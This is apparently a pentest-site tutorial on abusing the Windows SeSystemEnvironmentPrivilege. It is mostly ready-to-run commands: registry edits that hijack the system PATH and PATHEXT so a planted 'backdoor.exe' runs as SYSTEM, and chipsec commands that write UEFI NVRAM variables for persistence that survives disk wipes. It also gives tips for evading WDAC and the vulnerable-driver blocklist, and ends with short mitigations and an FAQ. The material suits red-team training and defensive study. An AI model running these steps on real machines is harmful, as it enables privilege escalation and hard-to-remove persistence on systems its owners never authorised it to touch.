SeSystemEnvironmentPrivilege: PATH Hijacking and UEFI Persistence

You have SeSystemEnvironmentPrivilege. Vector A: Add a directory to the system PATH, SYSTEM processes load your binary unknowingly. Vector B (APT): Write to firmware NVRAM — persistence that survives disk wipes and OS reinstalls.

Quick Exploit — Vector A (PATH Hijacking) #

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v Path /t REG_EXPAND_SZ /d "C:\temp\mytools;%PATH%" /f

Place the binary with the name searched by a SYSTEM process:

copy C:\temp\backdoor.exe C:\temp\mytools\target.exe

At the next start of the SYSTEM process which is looking for target.exe in the PATH:

nt authority\system

Attack Chain — Vector A #

SeSystemEnvironmentPrivilege Enabled (token elevato)
  → Process Monitor: filtra WriteFile + SYSTEM + path controllato → identifica binary cercato
  → reg add PATH → aggiunge C:\temp\mytools in testa
  → copy backdoor.exe → C:\temp\mytools\[nome binary cercato]
  → aspetta riavvio servizio / task schedulata → SYSTEM

Attack Chain — Vector B (UEFI) #

SeSystemEnvironmentPrivilege Enabled
  → bcdedit | findstr "winload" → winload.efi = UEFI → OK
  → python chipsec_main.py -m tools.uefi.var-list → enumera NVRAM
  → python chipsec_main.py -m tools.uefi.var-write -a VariableName,{GUID},Value
  → variabile scritta nel chip NVRAM → sopravvive a wipe disco + reinstall OS

Tool Decision #

What is SeSystemEnvironmentPrivilege #

Allows you to modify the system environment variables at the registry level (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment) and, on UEFI systems, to read and write the firmware NVRAM variables via APIs GetFirmwareEnvironmentVariable / SetFirmwareEnvironmentVariable.

Assigned by default to Administrators (elevated token).

When it exists #

• Administrators (high token)
• Account with custom policy for managing system environment variables

Verify:

whoami /priv

Looking for:

SeSystemEnvironmentPrivilege    Modify firmware environment values    Enabled

If you see Disabled → non-elevated token.

VECTOR A — PATH System Hijacking #

Step 1 — Read the current PATH #

echo %PATH%

Or in PowerShell for more readable output:

[System.Environment]::GetEnvironmentVariable("PATH", "Machine") -split ";"

Search for: directories in your PATH that don't yet exist (ghost paths), or directories writable by your account.

Step 2 — Identify the binaries you are looking for without an absolute path #

Usa Process Monitor (Sysinternals): Open procmon, apply filters Operation is Process Start, Result is NAME NOT FOUND, and User is SYSTEM. Start or wait for scheduled services/tasks and see which binaries SYSTEM searches for in the PATH but doesn't find.

Or look for scheduled tasks that run commands without an absolute path:

schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User"

Step 3 — Add your directory to the head of your PATH #

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v Path /t REG_EXPAND_SZ /d "C:\temp\mytools;%PATH%" /f

Verify the change:

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v Path

In PowerShell (more reliable alternative method for long PATHs):

$currentPath = [System.Environment]::GetEnvironmentVariable("PATH", "Machine")
$newPath = "C:\temp\mytools;" + $currentPath
[System.Environment]::SetEnvironmentVariable("PATH", $newPath, "Machine")

Note: The change persists in the registry but only applies to new processes started after the change. Processes already running do not update the PATH.

Step 4 — Place the binary and wait for execution #

Copy the binary to the added path, with the name of the binary searched by SYSTEM:

copy C:\temp\backdoor.exe C:\temp\mytools\target.exe

At the next start of the SYSTEM process which is looking for target.exe in the PATH:

nt authority\system

Variant — PATHEXT hijacking #

PATHEXT defines the extensions searched for as executable in the PATH. Adding .TXT any file .txt in the PATH becomes executable:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PATHEXT /t REG_SZ /d ".COM;.EXE;.BAT;.CMD;.VBS;.TXT;.JS" /f

VECTOR B — UEFI NVRAM Persistence #

Prerequisite — Verify that your system is UEFI #

bcdedit | findstr "winload"

Output:

• winload.efi → UEFI system → applicable vector
• winload.exe → legacy BIOS → vector not applicable

Or:

Confirm-SecureBootUEFI

True o False → UEFI present (with or without Secure Boot). Exception → Legacy BIOS.

Step 1 — Enumerate NVRAM variables with Chipsec #

Chipsec is the reference tool for UEFI firmware analysis. Download it from chipsec/chipsec :

python chipsec_main.py -m tools.uefi.var-list

Output: List of all NVRAM variables with GUID, name, and size.

Step 2 — Read a specific variable #

python chipsec_main.py -m tools.uefi.var-read -a VariableName,{GUID}

Step 3 — Write a variable to the firmware #

python chipsec_main.py -m tools.uefi.var-write -a VariableName,{GUID},Value

Variables written to the NVRAM chip survive :

• Formatting the disk
• Disk replacement
• Reinstalling the operating system

They are only removed by a firmware update that overwrites the NVRAM, or by hardware vendor-specific procedures.

What Secure Boot Protects (and What It Doesn't) #

Secure Boot protects: boot loader and kernel — must be signed by a trusted CA.

Secure Boot does NOT protect: generic NVRAM variables not tied to the boot path.

You can write to NVRAM without being blocked by Secure Boot. The tricky part is weaponizing the UEFI payload—getting the firmware to execute your code during boot requires advanced firmware development skills.

Historical background: LoJax (documented by ESET in 2018) was the first UEFI malware documented in the wild. It used NVRAM variables to install a DXE driver into the firmware—persistence that survived any OS operation. Full analysis: eset.com LoJax research.

Real-world scenarios #

Scheduled task that runs commands without absolute path — a SYSTEM task executes cmd.exe instead of C:\Windows\System32\cmd.exe. PATH changed with C:\temp\mytools in first position → your cmd.exe runs as SYSTEM.

Software installer with temporary stages — many MSIs extract components in C:\temp\ as SYSTEM before installation. If they look for a binary in the PATH without an absolute path, you can intercept its execution.

Advanced post-compromise UEFI persistence — After obtaining SYSTEM, install an NVRAM variable that persists even after a disk wipe. This is an advanced red team scenario or APT simulation.

Common mistakes #

PATH updated but SYSTEM process still uses the original binary — Processes already running don't see the updated PATH. Wait for a service restart or a new instance. sc stop NomeServizio && sc start NomeServizio.

No SYSTEM process searches for binary without absolute path — Check with Process Monitor (filter: User=SYSTEM + Result=NAME NOT FOUND + Operation=Process Start). If you find nothing, the vector is not viable in that environment.

WDAC blocks the deployed binary — The binary must be signed or allowlisted by WDAC. Use a signed LOLBin wrapper or a legitimate binary with DLL hijacking.

Chipsec blocked by Vulnerable Driver Blocklist — Chipsec requires a kernel driver. If HVCI or the blocklist blocks it, check for a version not yet listed on loldrivers.io.

SetFirmwareEnvironmentVariable → error 1314 — SeSystemEnvironmentPrivilege not Enabled. Verify: whoami /priv | findstr SeSystemEnvironment.

Detection and bypass (Red Team view) #

PATH hijacking:

UEFI NVRAM:

When it fails #

PATH hijacking:

• No SYSTEM process searches for binary without an absolute path → not possible. Check with Process Monitor.
• WDAC active → unsigned binary blocked
• Processes already running do not update PATH → restart the service

UEFI NVRAM:

• Legacy BIOS system → UEFI APIs not available
• Chipsec blocked → find alternative driver version
• SetFirmwareEnvironmentVariable → error 1314 → privilege not enabled

Mitigations #

PATH hijacking:

• Services and scheduled tasks must use absolute paths
• FIM on the system PATH registry key
• WDAC to block unsigned binaries

UEFI NVRAM:

• Intel Boot Guard / AMD PSP — hardware root of trust
• UEFI NVRAM write protection in BIOS setup (some enterprise platforms)
• Chipsec periodic audit: python chipsec_main.py -m tools.uefi.var-list

Realistic note: PATH hijacking works when there's a scheduled task or service that launches commands without an absolute path—common in legacy software and maintenance scripts. UEFI persistence is APT territory: writing is easy, but weaponizing the payload requires advanced firmware development skills.

FAQ #

Does PATH hijacking work with WDAC enabled? Only if the binary is signed or allowlisted. Without WDAC, it works normally—and many environments don't have WDAC deployed.

Does UEFI persistence require physical access? No—with SeSystemEnvironmentPrivilege, you write to NVRAM from a running process. The difficulty lies in weaponizing the UEFI payload, not in writing the variable.

How do I remove a UEFI persistence if I find one? A firmware update that overwrites the NVRAM, or vendor-specific tools. Reinstalling the OS isn't enough.

SeSystemEnvironmentPrivilege covers two distinct scenarios: practical PATH hijacking in any pentest, UEFI persistence for advanced APT simulations where persistence must survive any OS-level remediation.

Related articles:

• SeRestorePrivilege —more direct alternative binary replacement
• SeLoadDriverPrivilege — kernel persistence via driver

References: Chipsec · LoJax research ESET · Microsoft Docs

For assessments that include firmware analysis and advanced persistence: hackita.it/supporto